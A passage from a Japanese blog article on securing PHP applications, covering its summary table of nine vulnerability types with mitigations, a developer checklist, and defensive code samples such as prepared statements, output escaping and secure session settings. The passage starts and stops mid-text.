5411\u3068\u793e\u5185\u306e\u53d6\u308a\u7d44\u307f\u3092\u5171\u6709\u3059\u308b\u5b9a\u671f\u30cb\u30e5\u30fc\u30b9\u30ec\u30bf\u30fc<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30b3\u30fc\u30c1\u30f3\u30b0<\/strong>\uff1a1\u5bfe1\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30eb\u5411\u4e0a\u306e\u305f\u3081\u306e\u30b3\u30fc\u30c1\u30f3\u30b0\u30bb\u30c3\u30b7\u30e7\u30f3<\/li>\n<\/ol>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u306e\u5411\u4e0a\u306f\u4e00\u671d\u4e00\u5915\u306b\u306f\u5b9f\u73fe\u3067\u304d\u307e\u305b\u3093\u3002\u7d99\u7d9a\u7684\u306a\u53d6\u308a\u7d44\u307f\u3068\u3001\u7d44\u7e54\u5168\u4f53\u306e\u30b3\u30df\u30c3\u30c8\u30e1\u30f3\u30c8\u304c\u5fc5\u8981\u3067\u3059\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u300c\u9762\u5012\u306a\u5236\u7d04\u300d\u3067\u306f\u306a\u304f\u300c\u4fa1\u5024\u3042\u308b\u5b9f\u8df5\u300d\u3068\u3057\u3066\u4f4d\u7f6e\u3065\u3051\u3001\u958b\u767a\u8005\u304c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u53d6\u308a\u7d44\u3080\u3053\u3068\u306b\u610f\u7fa9\u3068\u3084\u308a\u304c\u3044\u3092\u611f\u3058\u3089\u308c\u308b\u6587\u5316\u3092\u80b2\u3080\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-243\">\u307e\u3068\u3081\uff1a\u5b89\u5168\u306aPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u306b\u5411\u3051\u3066<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-244\">\u8106\u5f31\u6027\u5bfe\u7b56\u306e\u91cd\u8981\u30dd\u30a4\u30f3\u30c8\u518d\u78ba\u8a8d<\/h3>\n\n\n\n<p>\u672c\u8a18\u4e8b\u3067\u306f\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u304a\u3051\u308b\u4e3b\u8981\u306a\u8106\u5f31\u6027\u3068\u3001\u305d\u306e\u5bfe\u7b56\u306b\u3064\u3044\u3066\u8a73\u7d30\u306b\u89e3\u8aac\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u3053\u3053\u3067\u306f\u3001\u5b89\u5168\u306aPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u306e\u305f\u3081\u306b\u7279\u306b\u91cd\u8981\u306a\u30dd\u30a4\u30f3\u30c8\u3092\u518d\u78ba\u8a8d\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-245\">9\u3064\u306e\u4e3b\u8981\u8106\u5f31\u6027\u5bfe\u7b56\u306e\u8981\u70b9<\/h4>\n\n\n<div id=\"id-b8570dc6-6e11-492b-a568-a0554276dc1a\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u8106\u5f31\u6027\u30bf\u30a4\u30d7<\/th><th>\u91cd\u8981\u5bfe\u7b56\u30dd\u30a4\u30f3\u30c8<\/th><th>\u6700\u512a\u5148\u3067\u5b9f\u88c5\u3059\u3079\u304d\u3053\u3068<\/th><\/tr><\/thead><tbody><tr><td><strong>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/strong><\/td><td>\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u306e\u4f7f\u7528<\/td><td>\u76f4\u63a5\u306e\u6587\u5b57\u5217\u7d50\u5408\u3092\u5b8c\u5168\u306b\u6392\u9664\u3057\u3001\u5fc5\u305a\u30d1\u30e9\u30e1\u30fc\u30bf\u30d0\u30a4\u30f3\u30c7\u30a3\u30f3\u30b0\u3092\u4f7f\u7528\u3059\u308b<\/td><\/tr><tr><td><strong>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0 (XSS)<\/strong><\/td><td>\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u4f9d\u5b58\u306e\u30a8\u30b9\u30b1\u30fc\u30d7<\/td><td><code>htmlspecialchars()<\/code>\u306e\u9069\u5207\u306a\u4f7f\u7528\u3068\u3001CSP\u30d8\u30c3\u30c0\u30fc\u306e\u8a2d\u5b9a<\/td><\/tr><tr><td><strong>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea (CSRF)<\/strong><\/td><td>\u30e9\u30f3\u30c0\u30e0\u30c8\u30fc\u30af\u30f3\u306e\u691c\u8a3c<\/td><td>\u3059\u3079\u3066\u306e\u72b6\u614b\u5909\u66f4\u64cd\u4f5c\u306bCSRF\u30c8\u30fc\u30af\u30f3\u691c\u8a3c\u3092\u5b9f\u88c5<\/td><\/tr><tr><td><strong>\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027<\/strong><\/td><td>\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u53b3\u683c\u306a\u691c\u8a3c<\/td><td>\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3078\u306e\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u76f4\u63a5\u4f7f\u7528\u3092\u907f\u3051\u3001\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u30a2\u30d7\u30ed\u30fc\u30c1\u3092\u63a1\u7528<\/td><\/tr><tr><td><strong>\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb<\/strong><\/td><td>\u30d1\u30b9\u306e\u6b63\u898f\u5316\u3068\u691c\u8a3c<\/td><td><code>realpath()<\/code>\u3092\u4f7f\u7528\u3057\u305f\u30d1\u30b9\u691c\u8a3c\u3068\u3001\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u5236\u9650<\/td><\/tr><tr><td><strong>\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u8106\u5f31\u6027<\/strong><\/td><td>\u30bb\u30ad\u30e5\u30a2\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u8a2d\u5b9a<\/td><td>\u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u306eSecure\u3001HttpOnly\u3001SameSite\u5c5e\u6027\u306e\u6709\u52b9\u5316<\/td><\/tr><tr><td><strong>\u4e0d\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406<\/strong><\/td><td>\u672c\u756a\u74b0\u5883\u3067\u306e\u8a73\u7d30\u30a8\u30e9\u30fc\u6291\u5236<\/td><td><code>display_errors = Off<\/code>\u3068\u9069\u5207\u306a\u30a8\u30e9\u30fc\u30ed\u30b0\u8a2d\u5b9a\u306e\u5b9f\u88c5<\/td><\/tr><tr><td><strong>\u5b89\u5168\u3067\u306a\u3044\u8a8d\u8a3c\u3068\u8a8d\u53ef<\/strong><\/td><td>\u9069\u5207\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u7ba1\u7406\u3068\u6a29\u9650\u691c\u8a3c<\/td><td><code>password_hash()<\/code>\u3068<code>password_verify()<\/code>\u306e\u4f7f\u7528\u3001\u304a\u3088\u3073\u591a\u5c64\u7684\u306a\u6a29\u9650\u30c1\u30a7\u30c3\u30af<\/td><\/tr><tr><td><strong>\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027<\/strong><\/td><td>\u5b9a\u671f\u7684\u306a\u66f4\u65b0\u3068\u76e3\u8996<\/td><td><code>composer audit<\/code>\u306e\u5b9a\u671f\u5b9f\u884c\u3068\u81ea\u52d5\u66f4\u65b0\u30b7\u30b9\u30c6\u30e0\u306e\u69cb\u7bc9<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<h4 class=\"wp-block-heading\" id=\"i-246\">PHP\u5b89\u5168\u5b9f\u88c5\u306e\u305f\u3081\u306e\u5373\u5fdc\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8<\/h4>\n\n\n\n<p>\u4ee5\u4e0b\u306e\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u72b6\u614b\u3092\u8fc5\u901f\u306b\u8a55\u4fa1\u3057\u3001\u6539\u5584\u3057\u3066\u304f\u3060\u3055\u3044\uff1a<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-247\">1. \u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h5>\n\n\n\n<ul class=\"wp-block-list\">\n<li>[ ] \u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306f\u5e38\u306b\u4e0d\u4fe1\u3068\u3057\u3066\u6271\u3044\u3001\u9069\u5207\u306b\u691c\u8a3c\u30fb\u30b5\u30cb\u30bf\u30a4\u30ba\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4e00\u8cab\u3057\u3066\u4f7f\u7528\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u51fa\u529b\u306f\u5e38\u306b\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306b\u5408\u308f\u305b\u3066\u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u6a5f\u5bc6\u60c5\u5831\uff08\u30d1\u30b9\u30ef\u30fc\u30c9\u3001API\u30ad\u30fc\u306a\u3069\uff09\u3092\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u76f4\u63a5\u8a18\u8ff0\u3057\u3066\u3044\u306a\u3044<\/li>\n\n\n\n<li>[ ] \u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306b\u306f\u53b3\u683c\u306a\u691c\u8a3c\u3068\u4fdd\u5b58\u30d1\u30b9\u306e\u5236\u9650\u3092\u5b9f\u88c5\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306f\u672c\u756a\u74b0\u5883\u3067\u8a73\u7d30\u3092\u8868\u793a\u3057\u3066\u3044\u306a\u3044<\/li>\n\n\n\n<li>[ ] CSRF\u5bfe\u7b56\u3092\u5168\u3066\u306e\u72b6\u614b\u5909\u66f4\u64cd\u4f5c\u306b\u5b9f\u88c5\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u30bb\u30c3\u30b7\u30e7\u30f3ID\u306e\u518d\u751f\u6210\u3092\u8a8d\u8a3c\u72b6\u614b\u306e\u5909\u5316\u6642\u306b\u884c\u3063\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247\u3092\u9069\u7528\u3057\u3066\u3044\u308b\uff08\u30e6\u30fc\u30b6\u30fc\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u306a\u3069\uff09<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-248\">2. \u8a2d\u5b9a\u3068\u74b0\u5883<\/h5>\n\n\n\n<ul class=\"wp-block-list\">\n<li>[ ] \u6700\u65b0\u306ePHP\u30d0\u30fc\u30b8\u30e7\u30f3\uff087.4\u4ee5\u4e0a\u3001\u53ef\u80fd\u306a\u3089PHP 8.x\uff09\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] php.ini\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u95a2\u9023\u306e\u8a2d\u5b9a\u3092\u6700\u9069\u5316\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] Web\u30b5\u30fc\u30d0\u30fc\u8a2d\u5b9a\u3067PHP\u30d5\u30a1\u30a4\u30eb\u306e\u76f4\u63a5\u30a2\u30af\u30bb\u30b9\u3092\u5236\u9650\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] HTTPS\u3092\u5f37\u5236\u3057\u3001\u9069\u5207\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d8\u30c3\u30c0\u30fc\u3092\u8a2d\u5b9a\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u3067\u7570\u306a\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-249\">3. \u904b\u7528\u3068\u30d7\u30ed\u30bb\u30b9<\/h5>\n\n\n\n<ul class=\"wp-block-list\">\n<li>[ ] \u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027\u3092\u5b9a\u671f\u7684\u306b\u30b9\u30ad\u30e3\u30f3\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u3092\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u30d7\u30ed\u30bb\u30b9\u306b\u7d44\u307f\u8fbc\u3093\u3067\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u3092CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u7d71\u5408\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u5b9a\u671f\u7684\u306a\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u3092\u5b9f\u65bd\u3057\u3066\u3044\u308b<\/li>\n\n\n\n<li>[ ] \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u5bfe\u5fdc\u8a08\u753b\u3092\u6574\u5099\u3057\u3066\u3044\u308b<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-250\">\u591a\u5c64\u9632\u5fa1\u30a2\u30d7\u30ed\u30fc\u30c1\u306e\u91cd\u8981\u6027<\/h4>\n\n\n\n<p>\u5358\u4e00\u306e\u9632\u5fa1\u5c64\u306b\u4f9d\u5b58\u305b\u305a\u3001\u8907\u6570\u306e\u9632\u5fa1\u5c64\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u3001\u4e00\u3064\u306e\u5bfe\u7b56\u304c\u7834\u3089\u308c\u3066\u3082\u4ed6\u306e\u5bfe\u7b56\u304c\u6a5f\u80fd\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u591a\u5c64\u9632\u5fa1\u306e\u4f8b\nfunction processUserData($userData) {\n    \/\/ \u5c641: \u5165\u529b\u691c\u8a3c\n    if (!isValidUserData($userData)) {\n        logSecurityEvent('Invalid user data', $userData);\n        return false;\n    }\n    \n    \/\/ \u5c642: CSRF\u30c8\u30fc\u30af\u30f3\u691c\u8a3c\n    if (!verifyCsrfToken($userData['token'])) {\n        logSecurityEvent('CSRF token validation failed', $userData);\n        return false;\n    }\n    \n    \/\/ \u5c643: \u30a2\u30af\u30bb\u30b9\u6a29\u9650\u306e\u78ba\u8a8d\n    if (!currentUserCanAccess($userData['resource'])) {\n        logSecurityEvent('Access denied', $userData);\n        return false;\n    }\n    \n    \/\/ \u5c644: \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u64cd\u4f5c\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\n    try {\n        $stmt = $pdo-&gt;prepare(\"UPDATE users SET name = ? WHERE id = ?\");\n        $stmt-&gt;execute([$userData['name'], $userData['id']]);\n    } catch (PDOException $e) {\n        logSecurityEvent('Database error', $e-&gt;getMessage());\n        return false;\n    }\n    \n    \/\/ \u5c645: \u76e3\u67fb\u30ed\u30b0\u306e\u8a18\u9332\n    logAuditEvent('User data updated', $userData['id']);\n    \n    return true;\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-251\">\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6539\u5584\u306e\u30a2\u30d7\u30ed\u30fc\u30c1<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u4e00\u5ea6\u9650\u308a\u306e\u53d6\u308a\u7d44\u307f\u3067\u306f\u306a\u304f\u3001\u7d99\u7d9a\u7684\u306a\u30d7\u30ed\u30bb\u30b9\u3067\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u6e2c\u5b9a<\/strong>: \u73fe\u72b6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d9\u30eb\u3092\u8a55\u4fa1\u3059\u308b <code>\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30b3\u30a2\u306e\u8a08\u7b97\u4f8b $securityScore = calculateSecurityScore([ 'static_analysis' =&gt; runStaticAnalysis(), 'dependency_check' =&gt; checkDependencies(), 'config_review' =&gt; reviewSecurityConfig(), 'test_coverage' =&gt; getSecurityTestCoverage() ]);<\/code><\/li>\n\n\n\n<li><strong>\u512a\u5148\u9806\u4f4d\u4ed8\u3051<\/strong>: \u30ea\u30b9\u30af\u30d9\u30fc\u30b9\u3067\u306e\u5bfe\u5fdc\u512a\u5148\u9806\u4f4d\u3092\u6c7a\u5b9a\u3059\u308b <code>\/\/ \u30ea\u30b9\u30af\u30d9\u30fc\u30b9\u306e\u512a\u5148\u9806\u4f4d\u4ed8\u3051 $prioritizedVulnerabilities = prioritizeByRisk($vulnerabilities, [ 'impact' =&gt; $businessImpact, 'likelihood' =&gt; $exploitationLikelihood, 'affected_users' =&gt; $numberOfAffectedUsers ]);<\/code><\/li>\n\n\n\n<li><strong>\u6bb5\u968e\u7684\u6539\u5584<\/strong>: \u512a\u5148\u5ea6\u306e\u9ad8\u3044\u554f\u984c\u304b\u3089\u9806\u306b\u5bfe\u5fdc\u3059\u308b <code>\/\/ \u6bb5\u968e\u7684\u6539\u5584\u8a08\u753b $improvementPlan = [ 'immediate' =&gt; $criticalVulnerabilities, 'short_term' =&gt; $highRiskVulnerabilities, 'medium_term' =&gt; $mediumRiskVulnerabilities, 'long_term' =&gt; $lowRiskVulnerabilities ];<\/code><\/li>\n\n\n\n<li><strong>\u81ea\u52d5\u5316<\/strong>: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u3092\u53ef\u80fd\u306a\u9650\u308a\u81ea\u52d5\u5316\u3059\u308b <code>\/\/ CI\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u3078\u306e\u7d71\u5408\u4f8b function setupSecurityCI() { $pipeline = [ 'static_analysis' =&gt; 'vendor\/bin\/phpstan analyse', 'dependency_check' =&gt; 'composer audit', 'security_test' =&gt; 'vendor\/bin\/phpunit --testsuite security', 'compliance_check' =&gt; 'vendor\/bin\/compliance-checker' ]; return $pipeline; }<\/code><\/li>\n\n\n\n<li><strong>\u30c1\u30fc\u30e0\u5168\u4f53\u306e\u53c2\u52a0<\/strong>: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u30c1\u30fc\u30e0\u5168\u4f53\u306e\u8cac\u4efb <code>\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u5411\u4e0a\u30d7\u30ed\u30b0\u30e9\u30e0 $awarenessProgram = [ 'training' =&gt; scheduleMonthlySecurityTraining(), 'reviews' =&gt; implementSecurityCodeReviews(), 'champions' =&gt; designateSecurityChampions(), 'gamification' =&gt; setupSecurityChallenges() ];<\/code><\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-252\">\u5b9f\u88c5\u3059\u3079\u304d\u512a\u5148\u5bfe\u7b56\u30c8\u30c3\u30d75<\/h4>\n\n\n\n<p>\u9650\u3089\u308c\u305f\u30ea\u30bd\u30fc\u30b9\u306e\u4e2d\u3067\u6700\u5927\u306e\u52b9\u679c\u3092\u5f97\u308b\u305f\u3081\u306b\u3001\u4ee5\u4e0b\u306e5\u3064\u306e\u5bfe\u7b56\u3092\u6700\u512a\u5148\u3067\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a2\u30af\u30bb\u30b9\u3067\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4f7f\u7528\u3059\u308b<\/strong> <code>\/\/ \u5fc5\u305a\u5b9f\u88c5\u3059\u3079\u304d\u30d1\u30bf\u30fc\u30f3 $stmt = $pdo-&gt;prepare(\"SELECT * FROM users WHERE username = ?\"); $stmt-&gt;execute([$username]);<\/code><\/li>\n\n\n\n<li><strong>\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u8868\u793a\u6642\u306b\u306f\u5fc5\u305a\u9069\u5207\u306a\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u884c\u3046<\/strong> <code>\/\/ \u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306b\u5fdc\u3058\u305f\u30a8\u30b9\u30b1\u30fc\u30d7 \/\/ HTML echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); \/\/ JavaScript echo json_encode($userInput); \/\/ URL echo urlencode($userInput);<\/code><\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30a2\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u8a2d\u5b9a\u3092\u5b9f\u88c5\u3059\u308b<\/strong> <code>\/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u8a2d\u5b9a\u306e\u5f37\u5316 ini_set('session.cookie_secure', 1); ini_set('session.cookie_httponly', 1); ini_set('session.cookie_samesite', 'Lax'); ini_set('session.use_strict_mode', 1); session_start(); \/\/ \u8a8d\u8a3c\u5f8c\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u518d\u751f\u6210 session_regenerate_id(true);<\/code><\/li>\n\n\n\n<li><strong>\u5b9a\u671f\u7684\u306a\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u3092\u81ea\u52d5\u5316\u3059\u308b<\/strong> <code># CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u307e\u305f\u306fcron\u30b8\u30e7\u30d6\u3067\u5b9f\u884c composer audit<\/code><\/li>\n\n\n\n<li><strong>\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u672c\u756a\u74b0\u5883\u8a2d\u5b9a\u3092\u884c\u3046<\/strong> <code>\/\/ \u672c\u756a\u74b0\u5883\u8a2d\u5b9a ini_set('display_errors', 0); ini_set('log_errors', 1); ini_set('error_log', '\/path\/to\/secure\/error.log'); \/\/ \u30ab\u30b9\u30bf\u30e0\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9 set_error_handler(function($errno, $errstr, $errfile, $errline) { error_log(\"Error [$errno]: $errstr in $errfile on line $errline\"); \/\/ \u30e6\u30fc\u30b6\u30fc\u306b\u306f\u4e00\u822c\u7684\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u307f\u8868\u793a return true; });<\/code><\/li>\n<\/ol>\n\n\n\n<p>\u3053\u308c\u3089\u306e\u5bfe\u7b56\u3092\u78ba\u5b9f\u306b\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3067\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d9\u30eb\u3092\u5927\u5e45\u306b\u5411\u4e0a\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u7d99\u7d9a\u7684\u306a\u53d6\u308a\u7d44\u307f\u3067\u3042\u308a\u3001\u6280\u8853\u7684\u306a\u5bfe\u7b56\u3060\u3051\u3067\u306a\u304f\u3001\u30c1\u30fc\u30e0\u5168\u4f53\u306e\u610f\u8b58\u5411\u4e0a\u3068\u7d44\u7e54\u7684\u306a\u30d7\u30ed\u30bb\u30b9\u306e\u6539\u5584\u3092\u901a\u3058\u3066\u3001\u3088\u308a\u5b89\u5168\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u74b0\u5883\u3092\u69cb\u7bc9\u3057\u3066\u3044\u304f\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-253\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u5168\u4f53\u306e\u8ab2\u984c<\/h3>\n\n\n\n<p>PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u300c\u5f8c\u4ed8\u3051\u300d\u306e\u8981\u7d20\u3068\u3057\u3066\u3067\u306f\u306a\u304f\u3001\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u5168\u4f53\u306b\u7d71\u5408\u3055\u308c\u305f\u57fa\u672c\u7684\u306a\u8981\u7d20\u3068\u3057\u3066\u6271\u3046\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u958b\u767a\u306e\u6700\u7d42\u6bb5\u968e\u3067\u8003\u616e\u3059\u308b\u3068\u3001\u8106\u5f31\u6027\u306e\u4fee\u6b63\u30b3\u30b9\u30c8\u304c\u9ad8\u304f\u306a\u308a\u3001\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306e\u9045\u5ef6\u3084\u30ea\u30bd\u30fc\u30b9\u306e\u6d6a\u8cbb\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-254\">\u30b7\u30d5\u30c8\u30ec\u30d5\u30c8\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u91cd\u8981\u6027<\/h4>\n\n\n\n<p>\u300c\u30b7\u30d5\u30c8\u30ec\u30d5\u30c8\u300d\u30a2\u30d7\u30ed\u30fc\u30c1\u3067\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6d3b\u52d5\u3092\u958b\u767a\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u306e\u65e9\u3044\u6bb5\u968e\uff08\u5de6\u5074\uff09\u306b\u79fb\u52d5\u3055\u305b\u308b\u3053\u3068\u3067\u3001\u554f\u984c\u3092\u3088\u308a\u65e9\u304f\u3001\u3088\u308a\u4f4e\u30b3\u30b9\u30c8\u3067\u767a\u898b\u30fb\u4fee\u6b63\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.example.com\/security-cost-graph.png\" alt=\"\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b3\u30b9\u30c8\u306e\u56f3\"><\/figure>\n\n\n\n<p><em>\u4fee\u6b63\u30b3\u30b9\u30c8\u306e\u6bd4\u8f03: 